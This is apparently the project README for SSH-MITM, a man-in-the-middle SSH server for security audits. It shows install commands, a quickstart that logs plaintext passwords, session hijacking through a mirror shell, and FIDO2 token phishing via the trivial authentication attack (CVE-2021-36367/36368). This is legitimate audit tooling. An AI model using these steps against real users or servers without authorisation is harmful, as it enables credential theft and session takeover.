**SSH-MITM** is a man in the middle SSH Server for security audits and malware analysis.

Password and **publickey authentication** are supported and SSH-MITM is able to detect, if a user is able to login with publickey authentication on the remote server. This allows SSH-MITM to accept the same key as the destination server. If publickey authentication is not possible, the authentication will fall back to password-authentication.

When publickey authentication is possible, a forwarded agent is needed to login to the remote server. In cases, when no agent was forwarded, SSH-MITM can rediredt the session to a honeypot.

## Features

* publickey authentication

   * accept same key as destination server

   * Phishing FIDO Tokens ([Information from OpenSSH](https://www.openssh.com/agent-restrict.html))

* hijacking and logging of terminal sessions

* store and replace files during SCP/SFTP file transferes

* port porwarding

  * SOCKS 4/5 support for dynamic port forwarding

* intercept MOSH connections

* audit clients against known vulnerabilities

* plugin support

## Installation

**SSH-MITM** can be installed as a

[Flatpak](https://flathub.org/apps/at.ssh_mitm.server),

[Ubuntu Snap](https://snapcraft.io/ssh-mitm),

[AppImage](https://github.com/ssh-mitm/ssh-mitm/releases/latest)

and [PIP-Package](https://pypi.org/project/ssh-mitm/).

Community-supported options include installations via `[Nix](https://search.nixos.org/packages?channel=unstable&show=ssh-mitm&type=packages&query=ssh-mitm) and running on [Android devices](https://github.com/ssh-mitm/ssh-mitm/discussions/83#discussioncomment-1531873).

Install from Flathub:

    flatpak install flathub at.ssh_mitm.server

    flatpak run at.ssh_mitm.server

Install from Snap store:

    sudo snap install ssh-mitm

Install as AppImage:

    wget https://github.com/ssh-mitm/ssh-mitm/releases/latest/download/ssh-mitm-x86_64.AppImage

    chmod +x ssh-mitm*.AppImage

Install python package:

    python3 -m pip install ssh-mitm

For more installation methods, refer to the [SSH-MITM installation guide](https://docs.ssh-mitm.at/get_started/installation.html).

## Quickstart

To start SSH-MITM, all you have to do is run this command in your terminal of choice.

    ssh-mitm server --remote-host 192.168.0.x

Now let's try to connect. SSH-MITM is listening on port 10022.

    ssh -p 10022 testuser@proxyserver

You will see the credentials in the log output.

    INFO     Remote authentication succeeded

        Remote Address: 127.0.0.1:22

        Username: testuser

        Password: secret

        Agent: no agent

## Session hijacking

Getting the plain text credentials is only half the fun.

When a client connects, the ssh-mitm starts a new server, which is used for session hijacking.

    INFO     ℹ created mirrorshell on port 34463. connect with: ssh -p 34463 127.0.0.1

To hijack the session, you can use your favorite ssh client.

    ssh -p 34463 127.0.0.1

Try to execute somme commands in the hijacked session or in the original session.

The output will be shown in both sessions.

## Phishing FIDO Tokens

SSH-MITM is able to phish FIDO2 Tokens which can be used for 2 factor authentication.

The attack is called [trivial authentication](https://docs.ssh-mitm.at/trivialauth.html) ([CVE-2021-36367](https://docs.ssh-mitm.at/CVE-2021-36367.html), [CVE-2021-36368](https://docs.ssh-mitm.at/CVE-2021-36368.html)) and can be enabled with the command line argument `--enable-trivial-auth`.

  ssh-mitm server --enable-trivial-auth

Using the trivial authentication attack does not break password authentication, because the attack is only performed when a publickey login is possible.
